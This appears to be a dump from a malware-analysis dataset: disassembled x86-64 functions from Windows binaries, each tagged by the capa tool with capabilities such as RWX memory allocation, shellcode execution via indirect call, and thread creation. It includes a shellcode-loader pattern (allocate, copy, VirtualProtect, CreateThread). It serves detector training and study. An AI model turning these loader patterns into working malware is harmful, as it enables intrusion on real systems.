joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180022e80
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov r11d, r8d
mov r10, rdx
not r11d
mov r9, rcx
mov eax, r11d
test rdx, rdx
je 0x180022edd
lea rbx, [0x1800640e0]
movzx r8d, byte [r9]
lea r9, [r9 + 1]
dec r10
cmp r8b, 0x23
jne 0x180022ec4
cmp r10, 2
jb 0x180022ec4
cmp byte [r9], r8b
jne 0x180022ec4
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
xor rdx, r8
shr eax, 8
xor eax, dword [rbx + rdx*4]
test r10, r10
jne 0x180022ea0
not eax
mov rbx, qword [rsp + 8]
ret
movzx r8d, byte [rcx]
inc r9
test r8b, r8b
je 0x180022f1f
lea rbx, [0x1800640e0]
cmp r8b, 0x23
jne 0x180022f03
cmp byte [r9], r8b
jne 0x180022f03
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
movzx ecx, r8b
movzx r8d, byte [r9]
xor rdx, rcx
shr eax, 8
inc r9
xor eax, dword [rbx + rdx*4]
test r8b, r8b
jne 0x180022ef0
mov rbx, qword [rsp + 8]
not eax
ret

Function at 0x180023060
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push r14
sub rsp, 0x20
mov r14, r8
test r8, r8
je 0x18002307a
mov qword [r8], 0
lea rdx, [0x180069a00]
call fcn.180022f30
mov rbx, rax
test rax, rax
jne 0x18002309a
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
mov qword [rsp + 0x30], rsi
mov rcx, rbx
mov qword [rsp + 0x38], rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov esi, eax
cmp eax, 0xffffffff
je 0x180023171
xor edx, edx
mov rcx, rbx
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x180023171
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rdi, eax
cmp edi, 0xffffffff
je 0x180023171
xor r8d, r8d
mov edx, esi
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x180023171
cmp rdi, 0xffffffffffffffff
je 0x180023171
mov rax, qword [0x1800759d8]
test rax, rax
je 0x18002310e
inc dword [rax + 0xf4]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rsi, rax
test rax, rax
je 0x180023171
mov r9, rbx
mov r8, rdi
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, rbx
cmp rax, rdi
je 0x18002315e
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rax, qword [0x1800759d8]
test rax, rax
je 0x180023153
dec dword [rax + 0xf4]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x18002317a
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test r14, r14
je 0x18002316c
mov qword [r14], rdi
mov rax, rsi
jmp 0x18002317c
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
Function at 0x180025610
Capabilities:
Hash data with crc32

Disassembly:
mov dword [rsp + 0x10], edx
push rbx
sub rsp, 0x20
movsxd r8, dword [rcx + 0xf0]
lea r10, [0x1800640e0]
mov rax, qword [rcx + 0xf8]
mov r9, rcx
mov ebx, dword [rax + r8*4 - 4]
not ebx
movzx eax, dl
movzx r8d, bl
shr ebx, 8
xor r8, rax
movzx eax, byte [rsp + 0x39]
xor ebx, dword [r10 + r8*4]
movzx ecx, bl
xor rcx, rax
shr ebx, 8
movzx eax, byte [rsp + 0x3a]
xor ebx, dword [r10 + rcx*4]
movzx ecx, bl
xor rcx, rax
shr ebx, 8
movzx eax, byte [rsp + 0x3b]
xor ebx, dword [r10 + rcx*4]
movzx ecx, bl
xor rcx, rax
shr ebx, 8
xor ebx, dword [r10 + rcx*4]
mov rcx, qword [r9]
not ebx
cmp dword [rcx + 0x3f18], ebx
jne 0x18002569b
movsxd r8, edx
mov ecx, ebx
mov edx, 4
call fcn.180037670
mov eax, ebx
add rsp, 0x20
pop rbx
ret
Function at 0x180028bd0
Capabilities:
Hash data with crc32

Disassembly:
movzx r9d, byte [rcx]
lea r8, [rcx + 1]
mov r10d, 0xffffffff
mov eax, r10d
test r9b, r9b
je 0x180028c20
lea r11, [0x1800640e0]
nop dword [rax]
cmp r9b, 0x23
jne 0x180028c03
cmp byte [r8], r9b
jne 0x180028c03
cmp byte [r8 + 1], r9b
cmove eax, r10d
movzx edx, al
movzx ecx, r9b
movzx r9d, byte [r8]
xor rdx, rcx
shr eax, 8
inc r8
xor eax, dword [r11 + rdx*4]
test r9b, r9b
jne 0x180028bf0
mov rcx, qword [0x1800759d8]
not eax
movsxd rdx, dword [rcx + 0x3eb0]
mov r9, qword [rcx + 0x3eb8]
mov r10, rdx
shl r10, 4
add r10, r9
test rdx, rdx
je 0x180028c81
nop word [rax + rax]
mov r8, rdx
shr r8, 1
mov rcx, r8
add rcx, rcx
cmp dword [r9 + rcx*8], eax
jae 0x180028c79
lea r9, [r9 + rcx*8]
mov rcx, 0xffffffffffffffff
sub rcx, r8
add r9, 0x10
add rdx, rcx
jmp 0x180028c7c
mov rdx, r8
test rdx, rdx
jne 0x180028c50
cmp r9, r10
je 0x180028c90
cmp dword [r9], eax
jne 0x180028c90
mov rax, qword [r9 + 8]
ret
xor eax, eax
ret
Function at 0x180035eb0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
cmp qword [rcx + 0x5c60], 0
lea rbx, [rcx + 0x5c68]
mov rsi, r8
mov rbp, rdx
mov rdi, rcx
je 0x180035f57
mov r9d, dword [rbx + 4]
mov qword [rsp + 0x30], r14
xor r14d, r14d
test r9d, r9d
jns 0x180035f0a
mov eax, r9d
mov rcx, rbx
cdq
sub eax, edx
mov edx, r14d
sar eax, 1
add eax, r9d
test eax, eax
cmovg edx, eax
call fcn.1800387a0
mov r8, rsi
mov dword [rbx], r14d
mov rdx, rbp
mov rcx, rbx
call fcn.1800234c0
mov eax, dword [rbx]
mov edx, 1
mov r9, qword [rdi + 0x5c60]
test eax, eax
lea ecx, [rax - 1]
mov rax, qword [rdi + 0x5c70]
cmove ecx, r14d
test rax, rax
movsxd r8, ecx
lea rcx, [0x1800759d0]
cmovne rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov r14, qword [rsp + 0x30]
jmp 0x180035f5f
mov rcx, rbx
call fcn.1800234c0
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret

Function at 0x1800363e0
Capabilities:
Hash data with crc32

Disassembly:
sub rsp, 8
movzx r9d, byte [rcx]
lea r8, [rcx + 1]
mov r10, qword [0x1800759d8]
mov r11d, 0xffffffff
mov eax, r11d
test r9b, r9b
je 0x180036443
mov qword [rsp], rbx
lea rbx, [0x1800640e0]
nop dword [rax]
cmp r9b, 0x23
jne 0x180036423
cmp byte [r8], r9b
jne 0x180036423
cmp byte [r8 + 1], r9b
cmove eax, r11d
movzx edx, al
movzx ecx, r9b
movzx r9d, byte [r8]
xor rdx, rcx
shr eax, 8
inc r8
xor eax, dword [rbx + rdx*4]
test r9b, r9b
jne 0x180036410
mov rbx, qword [rsp]
movsxd rcx, dword [r10 + 0x5bd8]
xor r8d, r8d
not eax
test ecx, ecx
jle 0x180036477
mov r10, qword [r10 + 0x5be0]
mov r9, rcx
mov edx, r8d
lea rcx, [r10 + 8]
cmp dword [rcx], eax
je 0x18003647e
inc r8d
inc rdx
add rcx, 0x48
cmp rdx, r9
jl 0x180036464
xor eax, eax
add rsp, 8
ret
movsxd rax, r8d
lea rcx, [rax + rax*8]
lea rax, [r10 + rcx*8]
add rsp, 8
ret
Function at 0x1800503c0
Capabilities:
Create http request
Get http content length
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 8], rcx
push rsi
push rdi
push r14
sub rsp, 0x30
xor ebx, ebx
mov dword [rsp + 0x60], 8
mov r14, rdx
mov dword [rsp + 0x50], ebx
xor edx, edx
mov dword [rsp + 0x68], ebx
xor r9d, r9d
mov dword [rsp + 0x20], ebx
xor r8d, r8d
lea rcx, str.HTTPREAD
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [rsp + 0x28], rbx
lea rdx, str.http:__ossweb_img.qq.com_images_lol_img_item_2056.png
mov rcx, rax
mov dword [rsp + 0x20], 0x80000002
xor r9d, r9d
xor r8d, r8d
mov rsi, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
lea r9, [rsp + 0x60]
mov qword [rsp + 0x20], rbx
mov rcx, rax
lea r8, [rsp + 0x50]
mov edx, 0x20000005
mov rdi, rax
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
mov eax, dword [rsp + 0x50]
test eax, eax
je 0x180050483
mov ecx, eax
mov qword [r14], rax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r8d, dword [rsp + 0x50]
xor edx, edx
mov rcx, rax
mov rbx, rax
call sub.VCRUNTIME140.dll_memset
mov r8d, dword [rsp + 0x50]
lea r9, [rsp + 0x68]
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetReadFile]
jmp 0x180050499
xor r8d, r8d
lea rdx, str.http:__ossweb_img.qq.com_images_lol_img_item_2056.png
lea rcx, str._Error_Http:_s__ReadFileLen:_d_n
call fcn.180021630
test rdi, rdi
je 0x1800504a7
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
test rsi, rsi
je 0x1800504b5
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rax, rbx
mov rbx, qword [rsp + 0x58]
add rsp, 0x30
pop r14
pop rdi
pop rsi
ret
Function at 0x180053a90
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
mov rax, qword [rcx + 0x130]
mov esi, r8d
mov rbx, rdx
mov rdi, rcx
cmp dword [rax + 0x40], 0xf
lea r9, [rax + 0x28]
jle 0x180053abc
mov r9, qword [r9]
movabs rdx, 0xcbf29ce484222325
movabs r8, 0x100000001b3
movsx rcx, byte [r9]
lea r9, [r9 + 1]
xor rdx, rcx
imul rdx, r8
test cl, cl
jne 0x180053ad0
mov qword [rsp + 0x50], rdx
lea rcx, [0x180075c90]
lea rdx, [rsp + 0x50]
call fcn.18001b1d0
mov rdx, qword [rax + 8]
cmp qword [rax], rdx
je 0x180053bd4
movaps xmmword [rsp + 0x30], xmm6
lea rdx, [rsp + 0x50]
lea rcx, [0x180075c90]
movaps xmmword [rsp + 0x20], xmm7
call fcn.18001b1d0
movsxd rcx, dword [rdi + 0x28]
mov rax, qword [rax]
movss xmm7, dword [rax + rcx*4 - 4]
lea eax, [rsi - 4]
cmp eax, 1
jbe 0x180053b40
movss xmm6, dword [rbx + 0x1a38]
jmp 0x180053b98
xor ecx, ecx
lea rax, [rbx + 0x44a0]
nop dword [rax]
cmp dword [rax], 0x209b
je 0x180053b6d
inc rcx
add rax, 4
cmp rcx, 6
jl 0x180053b50
movss xmm6, dword [rsp + 0x50]
jmp 0x180053b7b
movss xmm6, dword [rsp + 0x50]
addss xmm6, dword [0x18006a360]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, qword [rax + 0x222e4c8]
cmp dword [rcx + 8], 0xc
jne 0x180053b98
addss xmm6, dword [0x18006a38c]
xorps xmm1, xmm1
comiss xmm6, xmm1
jbe 0x180053bb7
movaps xmm1, xmm6
addss xmm1, dword [0x18006a39c]
divss xmm6, xmm1
mulss xmm6, xmm7
subss xmm7, xmm6
movaps xmm6, xmmword [rsp + 0x30]
movaps xmm0, xmm7
movaps xmm7, xmmword [rsp + 0x20]
mov rbx, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
mov rbx, qword [rsp + 0x58]
xorps xmm0, xmm0
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret

Function at 0x180053bf0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x40
mov rax, qword [rcx + 0x130]
mov esi, r8d
movaps xmmword [rsp + 0x20], xmm7
mov rbx, rdx
mov rdi, rcx
cmp dword [rax + 0x40], 0xf
lea r9, [rax + 0x28]
jle 0x180053c21
mov r9, qword [r9]
movabs rdx, 0xcbf29ce484222325
movabs r8, 0x100000001b3
nop word [rax + rax]
movsx rcx, byte [r9]
lea r9, [r9 + 1]
xor rdx, rcx
imul rdx, r8
test cl, cl
jne 0x180053c40
mov rax, qword [0x180075c78]
mov rcx, qword [0x180075c80]
movss xmm0, dword [0x18006a3fc]
movaps xmm7, xmm0
cmp rax, rcx
je 0x180053c8c
cmp qword [rax + 8], rbx
jne 0x180053c7c
cmp qword [rax], rdx
je 0x180053c87
add rax, 0x18
cmp rax, rcx
jne 0x180053c71
jmp 0x180053c8c
movss xmm7, dword [rax + 0x10]
ucomiss xmm7, xmm0
jp 0x180053c98
jne 0x180053c98
xorps xmm0, xmm0
jmp 0x180053ccf
xor ecx, ecx
movaps xmmword [rsp + 0x30], xmm6
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r8d, esi
mov rdx, rbx
mov rcx, rdi
movss xmm6, dword [rax + 0x2238d18]
call fcn.180053a90
addss xmm0, xmm7
xorps xmm1, xmm1
subss xmm0, xmm6
movaps xmm6, xmmword [rsp + 0x30]
maxss xmm0, xmm1
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
movaps xmm7, xmmword [rsp + 0x20]
add rsp, 0x40
pop rdi
ret
Function at 0x18005ae20
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x20
mov r9d, r8d
mov rdi, rdx
mov r8, rcx
lea rbx, [rcx + 0x3608]
lea r10, [rcx + 0x127e]
cmp byte [rcx + 0x127c], 0
jne 0x18005aea3
mov byte [r10], 0
mov byte [rcx + 0x127d], 1
rdtsc
shl rdx, 0x20
or rax, rdx
mov qword [rsp + 0x30], rax
mov byte [rcx + 0x1280], al
movzx eax, byte [rsp + 0x31]
mov edx, 2
mov byte [rcx + 0x1281], al
movzx ecx, byte [rsp + rdx + 0x30]
inc edx
mov byte [r8 + 0x1282], cl
movzx eax, byte [rsp + rdx + 0x30]
mov byte [r8 + 0x1283], al
mov byte [r8 + 0x1284], 0
mov byte [r8 + 0x127c], 1
mov rax, r8
mov dword [rsp + 0x40], r9d
mov eax, dword [rax + 0x1280]
mov dword [rsp + 0x30], eax
movzx eax, byte [r8 + 0x127d]
test al, al
je 0x18005aeeb
xor ecx, ecx
mov edx, eax
nop word [rax + rax]
mov eax, dword [rsp + rcx + 0x30]
not eax
xor dword [rsp + rcx + 0x40], eax
lea rcx, [rcx + 4]
sub rdx, 1
jne 0x18005aed0
lea r10, [r8 + 0x127e]
movzx eax, byte [r10]
mov ecx, 4
sub rcx, rax
cmp rcx, 4
jae 0x18005af14
nop dword [rax]
movzx eax, byte [rsp + rcx + 0x30]
not al
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 4
jb 0x18005af00
movzx eax, byte [r8 + 0x1284]
inc al
and eax, 3
mov ecx, eax
mov eax, dword [rsp + 0x40]
mov dword [r8 + rcx*4 + 0x1288], eax
mov byte [r8 + 0x1284], cl
mov dword [rbx + 0x38], r9d
mov r8, qword [rbx + 0x18]
movabs rdx, 0xcbf29ce484222325
movabs r10, 0x100000001b3
nop dword [rax]
nop word [rax + rax]
movsx rcx, byte [r8]
lea r8, [r8 + 1]
xor rdx, rcx
imul rdx, r10
test cl, cl
jne 0x18005af60
movabs rax, 0x2374c594f5e76f06
cmp rdx, rax
jne 0x18005af8d
lea eax, [r9 - 0x1d]
cmp eax, 7
jbe 0x18005afd3
jmp 0x18005affa
movabs rax, 0xf9bdf861cccd5fd1
cmp rdx, rax
jne 0x18005afa7
lea eax, [r9 - 0x1a]
cmp eax, 6
jbe 0x18005afd3
jmp 0x18005affa
movabs rax, 0xb4d052affec8dc8e
cmp rdx, rax
jne 0x18005afbe
cmp r9d, 0x10
je 0x18005afd3
jmp 0x18005affa
movabs rax, 0x311a797a90e58f21
cmp rdx, rax
jne 0x18005afdc
cmp r9d, 6
jne 0x18005affa
mov byte [rbx + 0x9c], 0
jmp 0x18005b033
movabs rcx, 0x2f2959b508f215d2
movabs rax, 0xecc3c7c77aebb7ea
cmp rdx, rcx
je 0x18005b01b
cmp rdx, rax
je 0x18005b01b
cmp byte [rbx + 0x9c], 0xff
je 0x18005b033
movabs rax, 0xeb5bc0df5355fba6
cmp rdx, rax
je 0x18005b033
mov byte [rbx + 0x9c], 0xff
jmp 0x18005b033
cmp r9d, 7
jne 0x18005b054
cmp rdx, rcx
je 0x18005b05f
mov rax, qword [rbx]
cmp rax, qword [rbx + 8]
je 0x18005b033
mov qword [rbx + 8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
add rax, 0x18da60
mov dl, 1
mov rcx, rbx
call rax
nop
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
cmp r9d, 6
jne 0x18005b026
cmp rdx, rax
jne 0x18005b026
mov rax, qword [rbx]
cmp rax, qword [rbx + 8]
je 0x18005b06c
mov qword [rbx + 8], rax
mov r8d, r9d
mov rdx, rdi
mov rcx, rbx
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
jmp fcn.18004eee0
Function at 0x18005b084
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rdi, rdx
lea r8, [rsp + 0x60]
mov ebx, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
mov r8d, ebx
mov ecx, 0x1300
neg eax
sbb r9d, r9d
and qword [rsp + 0x30], 0
and r9d, dword [rsp + 0x60]
xor edx, edx
and dword [rsp + 0x28], 0
mov dword [rsp + 0x60], r9d
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x18005b108
mov r8, qword [rdi]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x180062860]
cmp byte [rcx + rax], 0
je 0x18005b108
dec r8
sub rdx, 1
jne 0x18005b0ee
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x18005c3f0
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov rax, qword [rsp + 0x78]
sub rax, 0x10000
mov rcx, rax
call fcn.18005c610
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x70]
cmp qword [rsp + 0x20], rax
jbe 0x18005c4f7
mov rax, qword [0x180075040]
cmp qword [rsp + 0x20], rax
jb 0x18005c454
mov rax, qword [0x180075048]
cmp qword [rsp + 0x20], rax
ja 0x18005c454
mov rax, qword [rsp + 0x20]
sub rax, 0x8000000
mov qword [rsp + 0x20], rax
jmp 0x18005c416
mov r8d, 0x30
xor edx, edx
lea rcx, [rsp + 0x30]
call sub.VCRUNTIME140.dll_memset
mov r8d, 0x30
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
jne 0x18005c483
jmp 0x18005c4f7
cmp dword [rsp + 0x50], 0x10000
jne 0x18005c4da
cmp qword [rsp + 0x48], 0x10000
jb 0x18005c4da
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x10000
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x18005c4c8
mov rax, qword [rsp + 0x28]
jmp 0x18005c4f9
mov rax, qword [rsp + 0x20]
sub rax, 0x10000
mov qword [rsp + 0x20], rax
jmp 0x18005c4f2
mov rax, qword [rsp + 0x38]
sub rax, 0x10000
mov rcx, rax
call fcn.18005c610
mov qword [rsp + 0x20], rax
jmp 0x18005c416
xor eax, eax
add rsp, 0x68
ret
Function at 0x18005c500
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov rcx, qword [rsp + 0x70]
call fcn.18005c650
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x78]
cmp qword [rsp + 0x20], rax
jae 0x18005c603
mov rax, qword [0x180075040]
cmp qword [rsp + 0x20], rax
jb 0x18005c55b
mov rax, qword [0x180075048]
cmp qword [rsp + 0x20], rax
ja 0x18005c55b
mov rax, qword [rsp + 0x20]
add rax, 0x8000000
mov qword [rsp + 0x20], rax
jmp 0x18005c51d
mov r8d, 0x30
xor edx, edx
lea rcx, [rsp + 0x30]
call sub.VCRUNTIME140.dll_memset
mov r8d, 0x30
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
jne 0x18005c58a
jmp 0x18005c603
cmp dword [rsp + 0x50], 0x10000
jne 0x18005c5e1
cmp qword [rsp + 0x48], 0x10000
jb 0x18005c5e1
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x10000
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x18005c5cf
mov rax, qword [rsp + 0x28]
jmp 0x18005c605
mov rax, qword [rsp + 0x20]
add rax, 0x10000
mov qword [rsp + 0x20], rax
jmp 0x18005c5fe
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.18005c650
mov qword [rsp + 0x20], rax
jmp 0x18005c51d
xor eax, eax
add rsp, 0x68
ret
Function at 0x140001000
Capabilities:
Create thread

Disassembly:
sub rsp, 0x158
mov rax, qword [0x14004f008]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov dword [rsp + 0x60], 0
mov dword [rsp + 0x7c], 0
lea rcx, [rsp + 0x80]
lea rdx, str.PSQRVWU
mov r8d, 0xc9
call fcn.140003380
mov dword [rsp + 0x44], 0xcd
mov eax, dword [rsp + 0x44]
mov dword [rsp + 0x64], eax
mov dword [rsp + 0x40], 0x40694c97
mov eax, dword [rsp + 0x40]
mov dword [rsp + 0x3c], eax
sub eax, 0xd9c9f09b
je 0x1400010b8
jmp 0x140001073
mov eax, dword [rsp + 0x3c]
sub eax, 0x2fa0827a
je 0x1400010e5
jmp 0x140001087
mov eax, dword [rsp + 0x3c]
sub eax, 0x40694c97
je 0x1400010a0
jmp 0x14000109b
jmp 0x140001188
mov eax, dword [rsp + 0x64]
mov eax, eax
mov qword [rsp + 0x68], rax
mov dword [rsp + 0x40], 0xd9c9f09b
jmp 0x140001188
mov rdx, qword [rsp + 0x68]
xor eax, eax
mov ecx, eax
mov r8d, 0x3000
mov r9d, 4
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x40], 0x2fa0827a
jmp 0x140001188
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x58], rax
mov rcx, qword [rsp + 0x58]
lea rdx, [rsp + 0x80]
mov eax, dword [rsp + 0x44]
mov r8d, eax
call fcn.140003380
mov eax, dword [rsp + 0x44]
mov edx, eax
mov rcx, qword [rsp + 0x58]
mov r8d, 0x20
lea r9, [rsp + 0x7c]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rsp + 0x54], eax
mov r8, qword [rsp + 0x58]
xor eax, eax
mov r9d, eax
xor eax, eax
mov rcx, r9
mov rdx, r9
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x28], 0
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x48], rax
mov rcx, qword [rsp + 0x48]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
mov dword [rsp + 0x38], eax
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.1400011a0
mov eax, dword [rsp + 0x38]
add rsp, 0x158
ret
jmp 0x14000105b

Function at 0x140017460
Capabilities:
Print debug messages

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
add rsp, 0x28
ret

Function at 0x140017d20
Capabilities:
Get thread local storage value

Disassembly:
mov dword [rsp + 8], ecx
sub rsp, 0x48
call fcn.140018290
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x140017d5f
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov ecx, dword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x140055010]
jmp 0x140017d69
mov ecx, dword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
add rsp, 0x48
ret
Function at 0x1800014f8
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
mov rbp, rsp
sub rsp, 0x50
mov eax, 0x400
lea r8, [rbp - 0x18]
lea rcx, [0x18000d0c0]
mov edx, 0xeafa36
xor ebx, ebx
mov dword [rbp - 0x18], 0x3dc00
mov dword [rbp - 0x14], eax
mov word [rbp - 0x10], 8
mov dword [rbp - 0xc], 0xef82
mov dword [rbp - 8], 1
mov dword [rbp - 0x30], 0xf10
mov dword [rbp - 0x2c], eax
mov word [rbp - 0x28], 8
mov dword [rbp - 0x24], 0x216
mov dword [rbp - 0x20], 1
call fcn.1800013cc
mov r12, rax
test rax, rax
je 0x180001628
lea r8, [rbp - 0x30]
lea rcx, [0x180ebcb00]
mov edx, 0x1798
call fcn.1800013cc
mov rsi, rax
test rax, rax
je 0x180001620
mov r13d, dword [rbp - 0x30]
lea r9d, [rbx + 0x40]
mov r8d, 0x3000
mov edx, r13d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
je 0x1800015c9
mov r8d, r13d
mov rdx, rsi
mov rcx, rax
call fcn.180005420
jmp 0x1800015cc
mov rdi, rbx
test rdi, rdi
je 0x180001618
mov r9d, dword [rbp - 0x18]
mov r8, r12
mov edx, 1
xor ecx, ecx
call rdi
test rax, rax
je 0x180001618
xor r9d, r9d
mov r8d, 0x378
mov rcx, rax
lea edx, [r9 + 2]
call rdi
test rax, rax
je 0x180001618
mov rcx, qword [0x180ebf358]
mov edx, 0x2eee
call rax
test rax, rax
mov qword [0x180ebf360], rax
setne bl
mov rcx, rsi
call fcn.18000199c
mov rcx, r12
call fcn.18000199c
lea r11, [rsp + 0x50]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r13
pop r12
pop rbp
ret
Function at 0x1800020c3
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x18000c070]
jne 0x18000187a
rol rcx, 0x10
test cx, 0xffff
jne 0x180001876
repz ret
ror rcx, 0x10
jmp 0x18000201c
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x180ebe380]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x180ebe478]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x1800020a1
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x180ebe380]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x1800020c3
mov rax, qword [rsp + 0x88]
mov qword [0x180ebe478], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x180ebe418], rax
mov rax, qword [0x180ebe478]
mov qword [0x180ebe2f0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x180ebe400], rax
mov dword [0x180ebe2e0], 0xc0000409
mov dword [0x180ebe2e4], 1
mov rax, qword [0x18000c070]
mov qword [rsp + 0x68], rax
mov rax, qword [0x18000c078]
